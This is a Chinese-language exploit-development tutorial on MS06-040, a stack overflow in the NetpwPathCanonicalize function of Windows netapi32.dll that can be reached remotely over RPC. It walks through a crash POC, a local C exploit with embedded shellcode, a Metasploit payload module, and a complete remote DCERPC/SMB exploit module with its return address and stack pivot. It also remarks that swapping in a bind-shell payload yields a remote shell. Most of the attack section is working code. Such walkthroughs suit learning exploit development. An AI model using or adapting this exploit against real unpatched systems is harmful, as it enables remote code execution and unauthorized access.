远程RPC溢出EXP编写实战之MS06-040

*本文原创作者:wooy0ung,

0×01 前言

MS06-040算是个比较老的洞了,在当年影响十分之广,基本上Microsoft大部分操作系统都受到了影响,威力不亚于17年爆出的”永恒之蓝”漏洞。漏洞成因是Windows中参与socket网络的netapi32.dll动态链接库里的一个导出函数NetpwPathCanonicalize()存在栈溢出,而且这个函数能够通过RPC远程调用。由于是栈溢出利用起来不算太复杂,正好用来实践编写metasploit的远程利用脚本。

0×02 前期准备

1. Windows XP Professional sp3(非必需,我因为VC6安装在这上面,只是用来编译POC)

2. Windows 2000 Professional sp0(其他系统版本可能需要重新调试,更高版本可能需要绕过部分安全机制)

3. Kali Linux x64(安装有metasploit framework latest)

4. 调试器:Ollydbg 1.10

5. 编译器: VC++ 6.0

6. 反编译器: IDA 6.8

7. 注意: 需要未打补丁的netapi32.dll,Windows 2000在C:/WINNT/system32目录下能找到,

或者用以下提供的dll,但远程exploit必须要带有未打补丁dll的系统。

相关下载:

链接:https://pan.baidu.com/s/1qZQ1vnY 密码:5stq

0×03 定位崩溃点

VC++ 6.0编译POC, 运行

#include"stdafx.h"  #include <windows.h>    typedef void (*MYPROC)(LPTSTR, char *, int, char *, long *, bool);    int main()  {    char path[0x320];   char can_path[0x440];   int maxbuf=0x440;   char prefix[0x100];   long pathtype=44;     HINSTANCE LibHandle;   MYPROC Trigger;     char dll[ ] = "./netapi32.dll";   char VulFunc[ ] = "NetpwPathCanonicalize";   LibHandle = LoadLibrary(dll);   Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);     memset(path,0,sizeof(path));   memset(path,'a',sizeof(path)-2);   memset(prefix,0,sizeof(prefix));   memset(prefix,'b',sizeof(prefix)-2);      (Trigger)(path,can_path,maxbuf,prefix ,&pathtype,0);   FreeLibrary(LibHandle);     return 0;  }

程序崩溃掉, OD附加上去, EIP被”aaaa”填充

远程RPC溢出EXP编写实战之MS06-040

执行文件拖到OD, 单步来到call netapi32.NetpwPathCanonicalize, 再往下程序崩掉

远程RPC溢出EXP编写实战之MS06-040

跟进NetpwPathCanonicalize函数, 执行MSVCRT.wcscat, 当retn时程序再次崩溃

远程RPC溢出EXP编写实战之MS06-040

此处应该就是崩溃点, 在IDA定位到该函数

远程RPC溢出EXP编写实战之MS06-040

copy”bbbbbb…”串到栈上

远程RPC溢出EXP编写实战之MS06-040

“bbbbb…”串尾部拼接一个0x005C

远程RPC溢出EXP编写实战之MS06-040

继续拼接”aaaaa…”串, 覆盖返回地址

远程RPC溢出EXP编写实战之MS06-040

0×04 本地exploit

漏洞的成因是在prefix串的基础上拼接path串时没有长度检查,导致栈溢出。下面通过构造prefix、path串实现本地exploit。

远程RPC溢出EXP编写实战之MS06-040

观察在崩溃函数retn时, ecx指向缓冲区的开始。这样可以把shellcode布置在”bbbbbb….”串里, 用一条call/jmp ecx跳到栈上执行

// ms06_040_exp.cpp : Defines the entry point for the console application.  //    #include "stdafx.h"  #include <windows.h>    typedef void (*MYPROC)(LPTSTR, char *, int, char *, long *, bool);    char shellcode[]=  "/x31/xd2/xb2/x30/x64/x8b/x12/x8b/x52/x0c/x8b/x52/x1c/x8b/x42/x08"  "/x8b/x72/x20/x8b/x12/x80/x7e/x0c/x33/x75/xf2/x89/xc7/x03/x78/x3c"  "/x8b/x57/x78/x01/xc2/x8b/x7a/x20/x01/xc7/x31/xed/x8b/x34/xaf/x01"  "/xc6/x45/x81/x3e/x46/x61/x74/x61/x75/xf2/x81/x7e/x08/x45/x78/x69"  "/x74/x75/xe9/x8b/x7a/x24/x01/xc7/x66/x8b/x2c/x6f/x8b/x7a/x1c/x01"  "/xc7/x8b/x7c/xaf/xfc/x01/xc7/x68/x67/x20/x20/x01/x68/x79/x30/x75"  "/x6e/x68/x20/x77/x6f/x6f/x89/xe1/xfe/x49/x0b/x31/xc0/x51/x50/xff"  "/xd7";    // 弹框    int main()  {    char path[0x320];   char can_path[0x440];   int maxbuf=0x440;   char prefix[0x100];   long pathtype=44;      HINSTANCE LibHandle;   MYPROC Trigger;     char dll[] = "./netapi32.dll";   char VulFunc[] = "NetpwPathCanonicalize";     LibHandle = LoadLibrary(dll);   Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);     memset(path,0,sizeof(path));   memset(path,0x90,sizeof(path)-2);   memset(prefix,0,sizeof(prefix));   memset(prefix,'a',sizeof(prefix)-2);   memcpy(prefix,shellcode,113);     path[0x318]=0xF9;  // call ecx,可能需要调试确定   path[0x319]=0x52;   path[0x31A]=0x18;   path[0x31B]=0x75;     (Trigger)(path,can_path,maxbuf,prefix,&pathtype,0);   FreeLibrary(LibHandle);     return 0;  }

pwn~

远程RPC溢出EXP编写实战之MS06-040

0×05 远程exploit

很好,现在已经能够本地溢出NetpwPathCanonicalize()函数,下面我们利用metasploit提供的类库来写一份远程exp

##  # Author: wooy0ung  # Date: 2018/01/15  ##    require 'msf/core'    module Metasploit3    CachedSize = 200      include Msf::Payload::Single      def initialize(info = {})      super(merge_info(info,        'Name'          => 'Windows Warning Box',        'Description'   => 'Only for Version under Windows 7',        'Author'        => [ 'wooy0ung' ],        'Platform'      => 'win',        'Arch'          => ARCH_X86,        'Payload'       =>          {            'Payload' =>              "/x31/xd2/xb2/x30/x64/x8b/x12/x8b/x52/x0c/x8b/x52/x1c/x8b/x42/x08"+    "/x8b/x72/x20/x8b/x12/x80/x7e/x0c/x33/x75/xf2/x89/xc7/x03/x78/x3c"+    "/x8b/x57/x78/x01/xc2/x8b/x7a/x20/x01/xc7/x31/xed/x8b/x34/xaf/x01"+    "/xc6/x45/x81/x3e/x46/x61/x74/x61/x75/xf2/x81/x7e/x08/x45/x78/x69"+    "/x74/x75/xe9/x8b/x7a/x24/x01/xc7/x66/x8b/x2c/x6f/x8b/x7a/x1c/x01"+    "/xc7/x8b/x7c/xaf/xfc/x01/xc7/x68/x67/x20/x20/x01/x68/x79/x30/x75"+    "/x6e/x68/x20/x77/x6f/x6f/x89/xe1/xfe/x49/x0b/x31/xc0/x51/x50/xff"+    "/xd7"          }        ))    end    end

以上是一段弹出警告框的payload,新建一个文本贴入以上代码,保存为warning.rb。

##  # Author: wooy0ung  # Date: 2018/01/15  ##    require 'msf/core'      class Metasploit3 < Msf::Exploit::Remote     Rank = GoodRanking     include Exploit::Remote::DCERPC   include Exploit::Remote::SMB::Client     def initialize(info = {})      super(update_info(info,     'Name'           =>     "MS06-040 RPC Exploit",     'Description'    =>  'Only for Windows 2000 Professional sp0',                  'Author'         =>  [ 'wooy0ung' ],     'Platform'       => "win",     'DefaultOptions' => {'EXITFUNC' => 'thread',},     'DefaultTarget'  =>  0,     'Targets'        => [['Windows 2000 Professional sp0',  {'Ret' => [0x318 , 0x74FB62C3] }]]))      register_options([OptString.new('SMBPIPE', [ true,  "The pipe name to use (BROWSER, SRVSVC)", 'BROWSER']),], self.class)      end     def exploit      connect()    smb_login()      handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188','3.0','ncacn_np',["//#{datastore['SMBPIPE']}"])    dcerpc_bind(handle)      prefix = payload.encoded + make_nops(0x100 - payload.encoded.length - 2) + "/x00/x00"      path = make_nops(0x318) + [target['Ret'][1]].pack('V') +     "/x04/xD0/xFD/x7F" * 5 +  # 可写地址(这里原本是崩溃函数传入的5个参数)    "/x66/x81/xEC/x30/x04" +  # sub esp,430 (0x100 + 0x318 + 4 * 6 = 0x430 将esp指向payload起始)    "/x8B/xC4" +     # mov eax, esp    "/xFF/xE4" +    # jmp esp    "/x00/x00"    # Unicode结束符      stub = NDR.long(rand(0xffffffff)) +     NDR.UnicodeConformantVaryingString('') +     NDR.UnicodeConformantVaryingStringPreBuilt(path) +     NDR.long(rand(250)+1) +     NDR.UnicodeConformantVaryingStringPreBuilt(prefix) +     NDR.long(rand(250)+1) +     NDR.long(0)       begin       dcerpc.call(0x1f, stub, false)     rescue Rex::Proto::DCERPC::Exceptions::NoResponse     rescue => e       if e.to_s !~ /STATUS_PIPE_DISCONNECTED/           raise e       end               end            handler              disconnect       end    end

以上则是利用脚本,保存为ms06_040.rb,主要是构造shellcode(在path做ROP,跳到prefix中执行payload),在Windows 2000下利用起来比较容易,不再作解释。

远程RPC溢出EXP编写实战之MS06-040

选择之前保存的exp和payload,设置好靶机ip,pwn~

当然,将普通弹框换成bind_shell的payload就可以拿到shell了~

远程RPC溢出EXP编写实战之MS06-040

0×06 后记

远程RPC溢出EXP编写实战之MS06-040

看了metasploit的exploits模块里MS06-040的利用脚本,发现这个洞一直影响到XP和Server 2003版本。因为主要是为了练习写metasploit框架的exp,所以就不继续延伸了。

*本文原创作者:wooy0ung,